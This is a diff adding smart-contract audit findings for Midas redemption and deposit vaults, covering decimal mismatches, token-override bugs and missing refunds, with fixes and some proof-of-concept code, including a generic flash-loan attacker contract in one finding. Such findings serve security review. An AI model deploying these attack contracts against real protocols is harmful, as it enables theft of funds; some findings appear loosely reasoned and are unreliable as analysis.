+1. User calls `redeemInstant` with `tokenOut` set to USDC and expects to receive USDC.
+2. The contract calculates the redemption amounts based on USDC.
+3. The contract lacks sufficient USDC balance.
+4. The contract redeems `buidl` tokens instead.
+5. User receives `buidl` tokens, which have a different value than the expected USDC.
+
+
+### Mitigation
+
+Ensure consistency between the token used for calculations and the token actually redeemed. Modify the `redeemInstant` function to use `buidl` for all calculations and redemptions.
+
+```diff
+function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+) external override {
+ // ... existing checks ...
+
+- tokenOut = buidlLiquiditySource.token();
++ address actualTokenOut = address(buidl);
+
+ (
+ uint256 feeAmount,
+ uint256 amountMTokenWithoutFee
+- ) = _calcAndValidateRedeem(user, tokenOut, amountMTokenIn, true, false);
++ ) = _calcAndValidateRedeem(user, actualTokenOut, amountMTokenIn, true, false);
+
+ // ... rest of the function ...
+
+- address tokenOutCopy = tokenOut;
++ address tokenOutCopy = actualTokenOut;
+
+ // ... rest of the function ...
+
+ _tokenTransferToUser(
+ tokenOutCopy,
+ user,
+ amountTokenOutWithoutFeeFrom18.convertToBase18(tokenDecimals),
+ tokenDecimals
+ );
+
+ emit RedeemInstant(
+ user,
+ tokenOutCopy,
+ amountMTokenInCopy,
+ feeAmount,
+ amountTokenOutWithoutFee
+ );
+}
+```
\ No newline at end of file
diff --git a/003/047.md b/003/047.md
new file mode 100644
index 0000000..2aa2a4f
--- /dev/null
+++ b/003/047.md
@@ -0,0 +1,55 @@
+Dancing Olive Rhino
+
+Medium
+
+# User can drain contract funds due to incorrect token conversion
+
+### Summary
+
+Incorrect token conversion in the [`redeemInstant` function](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156) will cause a significant financial loss for the protocol as a user can exploit the discrepancy between 18 decimals and the token's native decimals to drain the contract's funds.
+
+
+### Root Cause
+
+In `contracts/RedemptionVaultWithBUIDL.sol` the discrepancy between the decimal conversions in `_checkAndRedeemBUIDL` and `_tokenTransferToUser` causes the issue:
+- `_checkAndRedeemBUIDL` is called with `amountTokenOutWithoutFeeFrom18` (token's native decimals).
+- `_tokenTransferToUser` is called with `amountTokenOutWithoutFee` converted back to 18 decimals.
+
+
+### Internal pre-conditions
+
+1. User needs to call [`redeemInstant`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156) with a valid amount of mTokens.
+2. The contract must have a balance of the output token (e.g., USDC).
+
+
+### External pre-conditions
+
+1. The output token (e.g., USDC) must have a different decimal representation than 18 (e.g., 6 decimals for USDC).
+
+
+### Attack Path
+
+1. User calls `redeemInstant` with a valid amount of mTokens.
+2. The function converts `amountTokenOutWithoutFee` from 18 decimals to the token's native decimals (`amountTokenOutWithoutFeeFrom18`).
+3. `_checkAndRedeemBUIDL` is called with `amountTokenOutWithoutFeeFrom18`.
+4. `_tokenTransferToUser` is called with `amountTokenOutWithoutFee` converted back to 18 decimals.
+5. The contract attempts to transfer an incorrect, significantly larger amount of the output token to the user.
+
+
+### Impact
+
+The protocol suffers a significant financial loss as the user can receive a much larger amount of the output token than intended, potentially draining the contract's reserves.
+
+
+### PoC
+
+1. User wants to redeem 1000 mTokens.
+2. `amountTokenOutWithoutFee` is calculated as 1000e18 (1000 tokens in 18 decimals).
+3. `amountTokenOutWithoutFeeFrom18` is converted to 1000e6 (1000 USDC in 6 decimals).
+4. `_checkAndRedeemBUIDL` is called with 1000e6.
+5. `_tokenTransferToUser` is called with 1000e18, leading to an attempt to transfer 1,000,000,000,000 USDC.
+
+
+### Mitigation
+
+Ensure consistent decimal representation in both `_checkAndRedeemBUIDL` and `_tokenTransferToUser`.
\ No newline at end of file
diff --git a/003/110.md b/003/110.md
new file mode 100644
index 0000000..bd33405
--- /dev/null
+++ b/003/110.md
@@ -0,0 +1,95 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# MBasisRedemptionVaultWithSwapper does not update mBasis daily limit or allowance when conducting mBasis->mTBill swap.
+
+
+## Summary
+
+MBasisRedemptionVaultWithSwapper does not update mBasis daily limit or allowance when conducting mBasis->mTBill swap.
+
+## Vulnerability Detail
+
+When users are redeeming from `MBasisRedemptionVaultWithSwapper`, if there is not enough `tokenOut` balance, it will first conduct a mBasis->mTBill swap and try to redeem from the mTBill redemption vault.
+
+The issue here is, when this happens, the daily limit and token allowance is only deducted from the mTBill redemption vault, and not the original `MBasisRedemptionVaultWithSwapper` contract.
+
+```solidity
+ function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+ )
+ external
+ override(IRedemptionVault, RedemptionVault)
+ whenFnNotPaused(this.redeemInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ ...
+ uint256 contractTokenOutBalance = IERC20(tokenOutCopy).balanceOf(
+ address(this)
+ );
+
+ if (
+ contractTokenOutBalance >=
+ amountTokenOutWithoutFee.convertFromBase18(tokenDecimals)
+ ) {
+@> _requireAndUpdateLimit(amountMTokenInCopy);
+ _requireAndUpdateAllowance(tokenOutCopy, amountTokenOut);
+
+ mToken.burn(user, amountMTokenWithoutFee);
+ } else {
+ uint256 mTbillAmount = _swapMBasisToMToken(amountMTokenWithoutFee);
+
+ IERC20(mTbillRedemptionVault.mToken()).safeIncreaseAllowance(
+ address(mTbillRedemptionVault),
+ mTbillAmount
+ );
+
+ mTbillRedemptionVault.redeemInstant(
+ tokenOutCopy,
+ mTbillAmount,
+ minReceiveAmountCopy
+ );
+
+ uint256 contractTokenOutBalanceAfterRedeem = IERC20(tokenOutCopy)
+ .balanceOf(address(this));
+ amountTokenOutWithoutFee = (contractTokenOutBalanceAfterRedeem -
+ contractTokenOutBalance).convertToBase18(tokenDecimals);
+ }
+
+ _tokenTransferToUser(
+ tokenOutCopy,
+ user,
+ amountTokenOutWithoutFee,
+ tokenDecimals
+ );
+
+ emit RedeemInstant(
+ user,
+ tokenOutCopy,
+ amountMTokenInCopy,
+ feeAmount,
+ amountTokenOutWithoutFee
+ );
+ }
+```
+
+## Impact
+
+mBasis daily limit and token allowance does not deduct as expected.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L146-L164
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Also update mBasis daily limit and allowance when conducting mBasis->mTBill swap for `MBasisRedemptionVaultWithSwapper`.
\ No newline at end of file
diff --git a/003/130.md b/003/130.md
new file mode 100644
index 0000000..8147398
--- /dev/null
+++ b/003/130.md
@@ -0,0 +1,54 @@
+Dizzy Coffee Yak
+
+Medium
+
+# RedemptionVaultWIthBUIDL will potentially cause loss of funds for users redeeming mBasis due to incorrect slippage considerations
+
+### Summary
+
+The token mismatch between MBasisRedemptionVaultWithSwapper and RedemptionVaultWIthBUIDL will cause a potential loss of funds for users redeeming mBasis instantly as the contract will allow redemptions with less value than expected or unexpectedly revert transactions due to incorrect slippage considerations.
+
+### Root Cause
+
+The choice to override the tokenOut in RedemptionVaultWIthBUIDL at [#midas-contracts/contracts/RedemptionVaultWithBUIDL.sol:100](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L100) without adjusting the minReceiveAmount is a mistake as it creates a mismatch between the expected and actual redemption tokens.
+
+### Internal pre-conditions
+
+1.RedemptionVaultWIthBUIDL needs to be set as the mTbillRedemptionVault in MBasisRedemptionVaultWithSwapper. Note: this is possible as per doc https://docs.google.com/document/d/1z3H3cAS1qBAAHqMAyD2YGmSyGzcle9-awrPT9W2NRzY/edit
+2. MBasisRedemptionVaultWithSwapper needs to have insufficient balance of the requested tokenOut to trigger the mTbillRedemptionVault.redeemInstant call.
+3. buidlLiquiditySource.token() in RedemptionVaultWIthBUIDL needs to return a different token (which is USDC) than the one requested in MBasisRedemptionVaultWithSwapper.
+4. The value difference between the original tokenOut and USDC will cause the minReceiveAmount check to fail or pass inappropriately.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User calls redeemInstant on MBasisRedemptionVaultWithSwapper with a specific tokenOut and minReceiveAmount.
+2, MBasisRedemptionVaultWithSwapper has insufficient balance of tokenOut.
+3. MBasisRedemptionVaultWithSwapper swaps mBasis to mTBILL and calls redeemInstant on mTbillRedemptionVault (RedemptionVaultWIthBUIDL).
+4. RedemptionVaultWIthBUIDL changes tokenOut to USDC but uses the original minReceiveAmount for its check.5.
+5. The minReceiveAmount check either fails unexpectedly or passes when it shouldn't, depending on the relative value of the tokens.
+a. If USDC > original token value:
+
+Check likely fails (e.g., 50 USDC < 90 TokenA)
+Transaction reverts, potentially locking funds temporarily
+
+b. If USDC < original token value:
+
+Check passes despite value loss (e.g., 200 USDC > 90 TokenB, but 200 USDC < 180 TokenB in value)
+User receives less value than expected
+
+### Impact
+
+The users redeeming mBasis either cannot complete the redemption due to unexpected reversion, potentially locking their funds temporarily, or suffer a loss by receiving less value in USDC than they were expecting in the original tokenOut. The loss could be up to the difference in value between the expected tokenOut amount and the received USDC amount.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement a mechanism in MBasisRedemptionVaultWithSwapper to be aware of potential token changes in the redemption process and adjust the minReceiveAmount accordingly.
diff --git a/003/138.md b/003/138.md
new file mode 100644
index 0000000..a954f11
--- /dev/null
+++ b/003/138.md
@@ -0,0 +1,53 @@
+Dizzy Coffee Yak
+
+High
+
+# Using RedemptionVaultWIthBUIDL for mTBILL with MBasisRedemptionVaultWithSwapper will cause a complete loss of redeemed tokens for users
+
+### Summary
+
+The override of tokenOut in RedemptionVaultWIthBUIDL will cause a complete loss of redeemed tokens for users as MBasisRedemptionVaultWithSwapper will receive but fail to forward the actual redeemed tokens (USDC)
+
+
+### Root Cause
+
+In RedemptionVaultWIthBUIDL's redeemInstant function, the tokenOut override (tokenOut = buidlLiquiditySource.token();) causes a mismatch with the token expected by MBasisRedemptionVaultWithSwapper, leading to tokens being trapped.
+
+
+### Internal pre-conditions
+
+1.RedemptionVaultWIthBUIDL needs to be set as the mTbillRedemptionVault in MBasisRedemptionVaultWithSwapper. Note: this is possible as per doc https://docs.google.com/document/d/1z3H3cAS1qBAAHqMAyD2YGmSyGzcle9-awrPT9W2NRzY/edit
+
+> Also, BUIDL variant of the redemption vault can be used as an mTBILL redemption vault
+
+
+2. MBasisRedemptionVaultWithSwapper needs to have insufficient balance of the requested tokenOut to trigger the mTbillRedemptionVault.redeemInstant call.
+3. buidlLiquiditySource.token() in RedemptionVaultWIthBUIDL needs to return a different token (which is USDC) than the one requested in MBasisRedemptionVaultWithSwapper.
+4. The difference between the original tokenOut and USDC will cause no transfer to the end user.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User calls redeemInstant on MBasisRedemptionVaultWithSwapper, specifying a desired tokenOut
+2. MBasisRedemptionVaultWithSwapper calls redeemInstant on RedemptionVaultWIthBUIDL due to insufficient amount of tokenOut https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L138-L158
+3. RedemptionVaultWIthBUIDL overrides tokenOut with buidlLiquiditySource.token() https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L100
+4. RedemptionVaultWIthBUIDL sends the overridden token (USDC) to MBasisRedemptionVaultWithSwapper
+5. MBasisRedemptionVaultWithSwapper attempts to send the originally requested tokenOut to the user, which it doesn't have
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L166-L170
+6. Users redeem request succeeds but receives nothing.
+
+### Impact
+
+The users suffer a complete loss of their redeemed tokens. The entire amount of redeemed tokens (USDC) becomes permanently trapped in the MBasisRedemptionVaultWithSwapper contract. This represents a 100% loss for the user on each affected redemption transaction. The severity is critical as it results in irreversible loss of user funds.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/003/159.md b/003/159.md
new file mode 100644
index 0000000..5dcdcd4
--- /dev/null
+++ b/003/159.md
@@ -0,0 +1,46 @@
+Daring Umber Ferret
+
+High
+
+# precision loss in the `_checkAndRedeemBUIDL` function
+
+### Details
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L164C14-L164C34
+
+in the `_checkAndRedeemBUIDL` function there is a potential precision loss and incorrect calculation when converting between different token decimals. The function assumes that `buidlToRedeem` (calculated as the difference between `amountTokenOut` and `contractBalanceTokenOut`) has the same decimal precision as the BUIDL token. However, this may not be true if the output token (USDC) and BUIDL have different decimal places.
+
+This can lead to situations where:
+1. The amount of BUIDL redeemed is less than necessary, causing the transaction to fail due to insufficient funds.
+2. More BUIDL is redeemed than needed, potentially leaving excess BUIDL in the contract.
+
+
+1. The function doesn't account for potential differences in decimal places between USDC (typically 6 decimals) and BUIDL (which could be 18 decimals, though not explicitly stated in the code).
+
+2. The `amountTokenOut` parameter is passed in with the USDC token's decimal precision, but it's used directly to interact with the BUIDL token without any decimal adjustment.
+
+### PoC:
+
+Let's assume USDC has 6 decimals and BUIDL has 18 decimals. Here's a potential flow:
+
+1. User requests to redeem 1000 USDC (1000 * 10^6 = 1,000,000,000 in USDC's smallest unit).
+2. The contract has 900 USDC available.
+3. The function calculates: buidlToRedeem = 1,000,000,000 - 900,000,000 = 100,000,000
+
+4. It then tries to redeem 100,000,000 BUIDL tokens, which is actually only 0.0001 BUIDL (100,000,000 / 10^18).
+
+5. This amount of BUIDL is likely much less than 100 USDC when redeemed, causing the transaction to fail due to insufficient funds.
+
+### The impact :
+
+1. Failed transactions, preventing users from redeeming their tokens.
+2. In a worst-case scenario, if the BUIDL price is very low compared to USDC, it might redeem successfully but provide far less USDC than expected, potentially leading to significant loss of funds for users.
+
+
+### Mitigation
+
+To fix this, the function should:
+
+1. Convert all amounts to a common precision (e.g., 18 decimals) before calculations.
+2. Adjust the `buidlToRedeem` amount based on the decimal difference between USDC and BUIDL.
+3. Ensure that the final amount of USDC received after BUIDL redemption is sufficient to cover the user's request.
diff --git a/004.md b/004.md
new file mode 100644
index 0000000..bb065ee
--- /dev/null
+++ b/004.md
@@ -0,0 +1,135 @@
+Sweet Hickory Pangolin
+
+High
+
+# No Protection Against Flash Loan Attacks at redeemInstnt function for RedemptionVault contract
+
+### Summary
+Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L124
+The contract does not have explicit protections against flash loan attacks, which could allow an attacker to manipulate token prices or exploit the rate conversion logic within a single transaction.
+
+### Root Cause
+
+Price manipulation
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Attacker can manipulate token prices or exploit the rate conversion logic within a single transaction.
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+interface IFlashLoanProvider {
+ function flashLoan(uint256 amount) external;
+}
+
+interface IToken {
+ function transfer(address recipient, uint256 amount) external returns (bool);
+ function balanceOf(address account) external view returns (uint256);
+}
+
+contract VulnerableContract {
+ IToken public token;
+ uint256 public price; // price of the token in some base currency, e.g., USD
+
+ constructor(IToken _token, uint256 _price) {
+ token = _token;
+ price = _price;
+ }
+
+ function buyToken(uint256 amount) external payable {
+ require(msg.value >= amount * price, "Not enough Ether sent");
+ token.transfer(msg.sender, amount);
+ }
+
+ function updatePrice(uint256 newPrice) external {
+ // Assume this function is publicly callable and price is based on an oracle
+ price = newPrice;
+ }
+}
+```
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "./VulnerableContract.sol";
+
+contract FlashLoanAttacker {
+ IFlashLoanProvider public flashLoanProvider;
+ VulnerableContract public vulnerableContract;
+ IToken public token;
+ uint256 public amountBorrowed;
+
+ constructor(
+ IFlashLoanProvider _flashLoanProvider,
+ VulnerableContract _vulnerableContract,
+ IToken _token
+ ) {
+ flashLoanProvider = _flashLoanProvider;
+ vulnerableContract = _vulnerableContract;
+ token = _token;
+ }
+
+ function executeFlashLoan(uint256 amount) external {
+ amountBorrowed = amount;
+ flashLoanProvider.flashLoan(amount);
+ }
+
+ function receiveFlashLoan(uint256 amount) external {
+ // Manipulate the price in the vulnerable contract
+ uint256 inflatedPrice = 1000; // Assume we inflate the price by 1000x
+ vulnerableContract.updatePrice(inflatedPrice);
+
+ // Exploit the inflated price to buy tokens at a lower actual value
+ uint256 amountToBuy = amount / inflatedPrice;
+ vulnerableContract.buyToken{value: msg.value}(amountToBuy);
+
+ // Restore the price to avoid detection
+ uint256 normalPrice = 1; // Assume this is the normal price
+ vulnerableContract.updatePrice(normalPrice);
+
+ // Repay the flash loan
+ token.transfer(address(flashLoanProvider), amount);
+ }
+
+ receive() external payable {}
+}
+
+```
+Deploy VulnerableContract with a normal price of 1 unit.
+Deploy FlashLoanAttacker with references to the flash loan provider, the vulnerable contract, and the token contract.
+Execute the executeFlashLoan function on the FlashLoanAttacker contract, which will:
+Borrow tokens via a flash loan.
+Manipulate the price in the vulnerable contract.
+Buy tokens at the manipulated price.
+Repay the flash loan.
+Profit from the price difference.
+Summary of the Attack Flow
+The attacker borrows tokens through a flash loan.
+The attacker inflates the price of the token in the VulnerableContract by manipulating the oracle.
+The attacker buys a large amount of tokens at the manipulated price.
+The attacker then resets the price to its original value.
+The attacker repays the flash loan and profits from the difference in token value.
+
+Security Mitigations: The primary defense against such attacks involves using a reliable oracle that cannot be easily manipulated within a single transaction (e.g., time-weighted average price oracles).
+Practical Implementation: In a real-world scenario, this would require integration with existing flash loan providers like Aave, dYdX, or Uniswap, and using actual token contracts.
+
+### Mitigation
+
+Security Mitigations: The primary defense against such attacks involves using a reliable oracle that cannot be easily manipulated within a single transaction (e.g., time-weighted average price oracles).
+Practical Implementation: In a real-world scenario, this would require integration with existing flash loan providers like Aave, dYdX, or Uniswap, and using actual token contracts.
\ No newline at end of file
diff --git a/004/001.md b/004/001.md
new file mode 100644
index 0000000..c246d2a
--- /dev/null
+++ b/004/001.md
@@ -0,0 +1,53 @@
+Soaring Pearl Nightingale
+
+Medium
+
+# RedemptionVault.sol rejectRequest() does not return tokens to redeemer
+
+### Summary
+
+If a redemption request is rejected by the admin, the redeemers mTokens do not get sent back, requiring admin to also call withdrawToken. This introduces the possiibility of a malicious admin rejecting requests to steal tokens, or for mistakes to happen when returning tokens to the redeemer and transferring incorrect amounts.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L247-L255
+
+
+
+### Root Cause
+
+rejectRequest is missing a transfer of the tokens back to the redeemer. These tokens will have been transferred from the redeemer to the redemption vault in redeemRequest.
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L403-L408
+
+When a request is approved, the transferred tokens are burned:
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L326
+
+
+Similiarly, when a request is rejected, the transferred tokens should be returned to the user to prevent malicious admins rejecting requests in order to steal mTokens locked in the RedemptionVault.
+
+
+
+
+### Impact
+Malicious admin can steal funds by rejecting requests.
+
+
+### Mitigation
+
+Transfer the locked tokens back to the redeemer on rejection.
+
+function rejectRequest(uint256 requestId) external onlyVaultAdmin {
+ Request memory request = redeemRequests[requestId];
+
+ _validateRequest(request.sender, request.status);
+
+ redeemRequests[requestId].status = RequestStatus.Canceled;
+
+ _tokenTransferFromTo(
+ address(mToken),
+ address(this),
+ request.sender,
+ request.amountMToken,
+ 18
+ );
+
+ emit RejectRequest(requestId, request.sender);
+ }
diff --git a/004/024.md b/004/024.md
new file mode 100644
index 0000000..3e6f9ae
--- /dev/null
+++ b/004/024.md
@@ -0,0 +1,20 @@
+Fresh Gunmetal Boa
+
+High
+
+# `rejectRequest` does not return the tokens back to the user
+
+## Summary
+The rejectRequest function will steal Mtokens from the user
+## Vulnerability Detail
+In `RedemptionVault.sol` and `DepositVault.sol` when a user calls `redeemRequest` they transfer their Mtokens to the `RedeptionVault.sol`. For the deposit they transfer the in tokens to the deposit vault. However the `rejectRequest` function does not return it back to the owner.
+## Impact
+Loss of funds for users - High
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVault.sol#L247
+## Tool used
+
+Manual Review
+
+## Recommendation
+Return the Mtokens back to the user when rejecting.
\ No newline at end of file
diff --git a/004/029.md b/004/029.md
new file mode 100644
index 0000000..08693bf
--- /dev/null
+++ b/004/029.md
@@ -0,0 +1,52 @@
+Fantastic Punch Scallop
+
+High
+
+# Users requests that are rejected are not refunded causing them to lose their tokens.
+
+## Summary
+If instant minting is not available for the amount of mTokens that the user wants to mint, the user can request a manual minting from the protocol and admins. If instant redemption's daily limit exceeds the amount of mTokens that the user wants to mint, the user can request a manual redemption from the protocol`s administrators.
+## Vulnerability Detail
+When a user creates a request, in that request, tokens are transferred into protocol and admins. However, there is a missing refund logic for rejected request breaking core functionality. Requests submitted that are not approved does not refund tokens back to users.
+```solidity
+ /**
+ * @inheritdoc IDepositVault
+ */
+ function rejectRequest(uint256 requestId) external onlyVaultAdmin {
+ Request memory request = mintRequests[requestId];
+
+ require(request.sender != address(0), "DV: request not exist");
+ require(
+ request.status == RequestStatus.Pending,
+ "DV: request not pending"
+ );
+
+ mintRequests[requestId].status = RequestStatus.Canceled;
+
+ emit RejectRequest(requestId, request.sender);
+ }
+
+ /**
+ * @inheritdoc IRedemptionVault
+ */
+ function rejectRequest(uint256 requestId) external onlyVaultAdmin {
+ Request memory request = redeemRequests[requestId];
+
+ _validateRequest(request.sender, request.status);
+
+ redeemRequests[requestId].status = RequestStatus.Canceled;
+
+ emit RejectRequest(requestId, request.sender);
+ }
+```
+## Impact
+User loses tokens when requests are rejected.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L247
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L243
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a pull over push refund pattern to enable users to reclaim their tokens.
\ No newline at end of file
diff --git a/004/038.md b/004/038.md
new file mode 100644
index 0000000..8da5be7
--- /dev/null
+++ b/004/038.md
@@ -0,0 +1,51 @@
+Dancing Marmalade Chicken
+
+High
+
+# Users lose fund if request is rejected by admin
+
+### Summary
+
+Users are not refunded if a request is rejected which leads to loss of funds for users when the `vaultAdmin` rejects a request
+
+### Root Cause
+
+In both DepositVault and RedeemVault users are not refunded when the vault admin calls `rejectRequest()` but the user's funds have already been taken when the user calls `depositRequest()` or `redeemRequest()`. See [L247](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVault.sol#L247-L255), there is no refund.
+
+```solidity
+ function rejectRequest(uint256 requestId) external onlyVaultAdmin {
+ Request memory request = redeemRequests[requestId];
+
+ _validateRequest(request.sender, request.status);
+
+ redeemRequests[requestId].status = RequestStatus.Canceled;
+
+ emit RejectRequest(requestId, request.sender);
+ }
+
+```
+
+
+### Internal pre-conditions
+
+The only condition is that the admin rejects a request
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Users lose their tokens because they are not refunded when their requests are rejected.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Refund users when requests are rejected
\ No newline at end of file
diff --git a/004/055.md b/004/055.md
new file mode 100644
index 0000000..19ed1a5
--- /dev/null
+++ b/004/055.md
@@ -0,0 +1,83 @@
+Skinny Powder Quail
+
+High
+
+# Users depositing via request will loss funds when their requests get rejected
+
+### Summary
+
+The `DepositVault:: rejectRequest` function does not refund the amount to a user once a deposit is rejected even though the request status is changed to cancelled.
+
+```solidity
+ function rejectRequest(uint256 requestId) external onlyVaultAdmin {
+ Request memory request = mintRequests[requestId];
+
+ require(request.sender != address(0), "DV: request not exist");
+ require(
+ request.status == RequestStatus.Pending,
+ "DV: request not pending"
+ );
+ mintRequests[requestId].status = RequestStatus.Canceled;
+//refund logic should be here
+ emit RejectRequest(requestId, request.sender);
+ }
+```
+
+This will make users who deposit using the `depositRequest` function but the vault admin rejects their requests loss their funds.
+
+### Root Cause
+
+Lack of logic to refund users their tokens when a deposit request is rejected by the admin.
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User deposits tokens via the `depositRequest` function
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148-L214
+
+2. Vault admin decides to reject the deposit request by calling the [rejectRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L243-L255) function
+
+* Here the status of the request will get cancelled and the user will not get back the deposited tokens
+
+### Impact
+
+Users who got their deposit requests rejected will loss funds
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+* Add refund logic as show below
+
+```diff
+ function rejectRequest(uint256 requestId) external onlyVaultAdmin {
+ Request memory request = mintRequests[requestId];
+
+ require(request.sender != address(0), "DV: request not exist");
+ require(
+ request.status == RequestStatus.Pending,
+ "DV: request not pending"
+ );
+
+ mintRequests[requestId].status = RequestStatus.Canceled;
++ uint256 amountMToken = (request.usdAmountWithFees * (10**18)) / newOutRate;
+
++ mToken.burn(request.sender, amountMToken);
+
++ totalMinted[request.sender] -= amountMToken;
+
+ emit RejectRequest(requestId, request.sender);
+ }
+```
diff --git a/004/112.md b/004/112.md
new file mode 100644
index 0000000..b548053
--- /dev/null
+++ b/004/112.md
@@ -0,0 +1,144 @@
+Abundant Tan Raven
+
+High
+
+# Funds Not Returned to User on `rejectRequest` Execution, which lead to loss user it's funds.
+
+## Summary
+### Description:
+
+In the `DepositVault` contract, when a user submits a deposit request via the `depositRequest` function, tokens and fees are transferred from the user to the contract. The request remains in a `Pending` status until a vault administrator either approves or rejects it.
+
+However, if the request is rejected by the admin using the `rejectRequest` function, the transferred funds are not returned to the user. The function simply updates the request status to `Canceled` without triggering any refund. This behavior could result in users losing their funds, leading to a potential loss of user trust and a breach of expected contract functionality.
+
+If admin send the funds directly it will also lead to different problem and loss of funds. here is the reason.
+
+When the request is create when `depositRequest` function get call the request struct is initialize this way in the function.
+
+```solidity
+mintRequests[currentId] = Request({
+ sender: user,
+ tokenIn: tokenInCopy,
+ status: RequestStatus.Pending,
+ depositedUsdAmount: tokenAmountInUsd,
+ usdAmountWithoutFees: (amountTokenWithoutFee * tokenInRate) /
+ 10**18,
+ tokenOutRate: tokenOutRate
+ });
+```
+
+here in the struct the deposit token is store, amount of that token in usd store and the amount of token in usd without fee is store. at the end it store the mToken price at the time of function calls. the issue here is that the struct doesn't store the tokenInRate mean the rate of deposit token at the request time. when admin reject request and then try to send back the token amount to user it has request with specific id for that user but in that request struct it doesn't store the deposit token amount and doesn't store the deposit token rate on the time of request. admin only has token type and value in usd of deposit token since it's common that deposit token price will change in market (up/down as crypto market). now admin should transfer stored token in amount of usd value that store. now admin should transfer the token in new price feed which will be lead to user loss of funds if price of that token goes down.
+
+summary:
+
+1- admin will transfer the token when it's value is goes very low then the time when the `depositRequest` and `rejectRequest` which will be very bad for user.
+
+2- admin will transfer the amount very late which will also minimize the user trust on protocol.
+
+
+## Impact
+- **Financial Loss**: Users who submit deposits may lose their funds if their request is rejected since there is no mechanism in place to refund their initial deposit amount.
+- **Loss of Trust**: Users may perceive this as malicious or negligent behavior by the contract developers, reducing trust in the platform.
+
+## Code Snippet
+note: when the depositRequest function is get call the request struct has not store the tokenInRate variable which is
+necessary when admin transfer directly to admin wallet that token should be in that rate or should be near to that rate.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L195-L203
+
+note: When admin want to reject the request the refund is not done.
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L243-L255
+## Pocs
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.9;
+
+import "forge-std/Test.sol";
+import "./DepositVault.sol";
+import "./mocks/MockERC20.sol";
+
+contract DepositVaultTest is Test {
+ DepositVault public depositVault;
+ MockERC20 public token;
+ address public user = address(1);
+ address public admin = address(2);
+
+ function setUp() public {
+ token = new MockERC20("Test Token", "TTK", 18);
+ depositVault = new DepositVault();
+ depositVault.initialize(address(this), /* other params */);
+
+ // Allocate tokens to the user
+ token.mint(user, 1000 ether);
+ vm.startPrank(user);
+ token.approve(address(depositVault), 1000 ether);
+ vm.stopPrank();
+ }
+
+ function testRejectRequestFundsNotReturned() public {
+ // User makes a deposit request
+ vm.startPrank(user);
+ depositVault.depositRequest(address(token), 100 ether, 0);
+ vm.stopPrank();
+
+ // Admin rejects the deposit request
+ vm.startPrank(admin);
+ uint256 requestId = 0; // Assuming requestId starts from 0
+ depositVault.rejectRequest(requestId);
+ vm.stopPrank();
+
+ // Assert that funds are not returned to the user
+ assertEq(token.balanceOf(user), 900 ether); // 100 ether was transferred and not refunded
+ }
+}
+```
+
